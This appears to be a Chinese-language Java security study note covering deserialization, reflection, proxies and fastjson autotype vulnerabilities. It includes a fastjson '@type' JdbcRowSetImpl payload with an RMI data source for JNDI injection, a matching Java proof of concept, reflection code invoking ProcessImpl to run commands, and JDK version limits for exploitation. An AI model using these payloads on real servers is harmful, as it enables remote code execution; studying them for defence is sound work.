一、JAVA安全
1.1 java的序列化和反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程ObjectOutputStream类的 writeObject() 方法可以实现序列化
Java 反序列化是指把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化。
1、序列化:将数据结构或者对象转换成字节流。
2、反序列化:将字节流恢复到原来的状态。
3、能反序列化的类必须继承Serializable接口。
4、什么是java反序列化漏洞?
客户端将服务端的某个对象进行序列化,服务端接受到序列化之后的数据在反序列化的时候触发了该对象的object方法中的一些危险逻辑代码。
5、反序列化在理论上只能去恢复对象,并控制他的字段值。但是如果要想造成额外的逻辑,需要配合一定的代码条件
6、java在进行反序列化的过程中,要是能够触发恶意代码,比较依赖于object函数(作用相当于php的魔术方法)。
1.2 浅析Java序列化和反序列化
https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#经典的apache-commons-collections
1.3 Java反序列化的防御方式
1、升级java版本。
2、使用黑白名单限制能够反序列化的类。
3、禁止 JVM 执行外部命令 Runtime.exec。通过扩展 SecurityManager 可以实现。
1.4 PHP序列化和java序列化
1、结果不同
PHP序列化的结果就是一串字符,人为可以构造。
java序列化的结果是二进制串。
2、php的在序列化和反序列化的时候,开发者并不能控制他序列化的内容。
java在反序列化的时候,可以插入一些自定义的数据,然后通过readObject方法去读取。
3、php反序列化漏洞的根本原因不是在序列化和反序列化的过程中触发漏洞,而是在反序列化之后可以控制对象的属性,进而触发一些危险的代码(通常是析构函数、魔术方法中)。
java是在反序列化的过程中,触发漏洞。根本原因就是可以控制反序列化的内容。
1.5 Java classloader加载过程
1、加载
: 加载阶段既可以使用系统提供的加载器,也可以用户自定义类加载器来完成类的加载。
类的二进制字节流将按照JVM所需的格式存储在方法区中。
产生class对象。
2、链接
3、初始化阶段
初始化阶段才开始真正执行java代码。
https://mp.weixin.qq.com/s?__biz=MzI3MDE0NzYwNA==&mid=2651443305&idx=2&sn=0bbc6042ec6c0641f9a6e0b57ee146ef&chksm=f128f912c65f7004a847a600168a2393ad3d98e6131386a73459a2eaa7a5001fbf27647ac770&mpshare=1&scene=23&srcid=04279rhOvZ2uAVzmdtdqwDaF&sharer_sharetime=1619532417932&sharer_shareid=f11ed98102758401aa5143f997cb1287#rd
1.6 CC链的分析
https://xz.aliyun.com/t/9409
https://paper.seebug.org/1242/
Java中的命令执行
1、Runtime类
该类的exec
方法可以执行命令。
Runtime.getRuntime().exec("ifconfig")
该类是一个单例模式的类,具有私有的构造函数,无法直接 new
生成一个对象,需要调用类中的公共方法获取一个类对象,然后执行命令。
public static Runtime getRuntime() {
return currentRuntime;
}
执行exec方法之后,进而调用ProcessBuilder类的start方法。
然后start方法调用了ProcessImpl的start方法。
2、ProcessBuilder类的start方法
3、ProcessImpl类
该类的构造函数也是私有的,无法直接new一个对象。而且也没有函数去生成一个类。所以需要使用反射的来触发命令。
总结:
InputStream in = new ProcessBuilder("whoami").start().getInputStream();
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
二、Java反射
1、运行期间,直接可以调用某个类的方法,而无需知道某个类的具体实例。一般来说使用某个类的方法或者属性,需要使用new关键字去生成一个实际例子,而反射不用。
2、反射常用的方式,比如Runtime类。
Runtime类,只有一个私有的构造函数,无法直接去生成一个类,需要先调用类中的公共方法来获取一个对象。
http://tengj.top/2016/04/28/javareflect/
三、Java代理
3.1 静态代理
1、静态代理需要一个委托类也就是原始类和一个代理类,代理类对原始类进行功能扩充。
2、如果接口增加方法,委托对象和代理对象都需要改变。
3.2 动态代理
1、运行时动态代理,代理类不需要实现接口,但是原始类需要接口。
2、代理类需要继承InvocationHandler类,并重写invoke方法。
3、需要测试类来运行代理类,测试类需要使用Proxy类。
动态代理与静态代理的区别:
动态代理不是去直接实现接口的类,而是使用Proxy.newProxyInstance()方法创建一个接口对象。
常用类:Proxy类、InvocationHandler类。
1、java代理可以更好的隐藏委托类,实现解耦。如果需要增加功能不需要去修改原始的类,只需要修改代理类即可。
代理方式:静态代理、动态代理、cglib代理。
通过代理模式,可以在不修改原对象的方法、属性等情况下,扩充原对象的功能。
四、Javafastjosn漏洞
什么是autotype功能?
允许用户在反序列化数据中通过"@type"指定反序列化的Class类型,如果开启这功能,攻击者可以指定恶意的类,在进行反序列化的时候,自动调用set、get方法来触发恶意命令。
https://blog.csdn.net/hosaos/article/details/106982555
1、主要使用阿里巴巴开发的开源库fastjson,作用是将json对象与java对象进行序列化与反序列化的转化。
2、两个主要方法:toJsonString和toparseObject。
3、在反序列化的时候可以指定type的值,parseObject方法能够触发type所指定的类的set和get方法。反序列化需要调用对应参数的setter、getter方法来恢复数据。
可以看到通过指定type的值为固定类,在反序列化的时候调用了对应set方法。如果set方法具有恶意代码,可以传入相应参数触发漏洞。
@type可以指定反序列化成服务器上的任意类
然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
get、set方法并不是随便调用的需要符合一下条件:
set方法
:
get方法
:
4、在源代码中关于set和get方法的具体调用的逻辑在JavaBeanInfo中的build函数。
使用反射获取类的信息
然后分别判断set和get方法,最后返回JavaBeanInfo对象。
5、那么具体的set、get方法在哪里调用呢?
在com.alibaba.fastjson.parser.deserializer.FieldDeserializer调用set方法。
6、两条利用链:JdbcRowSetImpl和Templateslmpl。
JdbcRowSetImpl
:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
@type:目标反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:调用setAutoCommit方法,利用lookup方法加载远程对象。
JdbcRowSetImpl类调用了connect方法,在connect方法中使用了lookup方法,其中的参数我们可以控制所以造成了jndi注入。
成功获取到rmi服务
而aa名称在rmi服务端对应的是Reference类生成的对象,客户端请求时如果对象是Reference或者该类的子类,会采用工厂模式,那么客户端在获取对象的时候可以从其他服务器上加载class文件。在构造Reference对象的时候,可以构造恶意class对象的地址,当客户端本地找不到相应的类时,会去请求远程class对象,进造成恶意代码执行。
利用方式有:
-
jdni+rmi
-
jdni+ladp
【限制条件】:
jndi注入和ladp注入具有限制条件:
Oracle JDK 6u132、JDK 7u122、JDK 8u113 之后,com.sun.jndi.rmi.object.trustURLCodebase 属性的默认值被调整为false。 属性默认为false时不允许远程加载类。
Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类。
其实在fastjson的这个利用链中也是利用了能够执行set函数这一特点,主要利用了setDataSourceName、setAutoCommit两个函数,只不过在poc中给这几个函数传入了对应参数值。
所以poc
也可以如下:
import com.sun.rowset.JdbcRowSetImpl;
public class CLIENT {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}
Templateslmpl
:
构造恶意类,fastjson会调用恶意类的构造函数执行恶意命令。
在fastjson中并不是所有类的所有get、set方法都会被调用,get、set方法都必须符合某些要求。
该利用链比较苛刻,条件如下:
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
5、JdbcRowSetImpl利用链的绕过。
在该链中主要利用了jndi注入,但是java版本对其有限制。
jdk1.8.0_161 < 1.8u191可以使用ldap注入。
https://xz.aliyun.com/t/8979#toc-3
6、fastjson各版本的问题
1.2.24版本漏洞产生原因:
官方修复的具体方向:
@type属性主要是指定反序列化的类,然后调用对应的set、get方法,所以官方会去采用黑名单白名单限制加载某些恶意类。
标签:rmi,Java,对象,汇总,安全,java,序列化,服务端,客户端 From: https://www.cnblogs.com/o-O-oO/p/18686709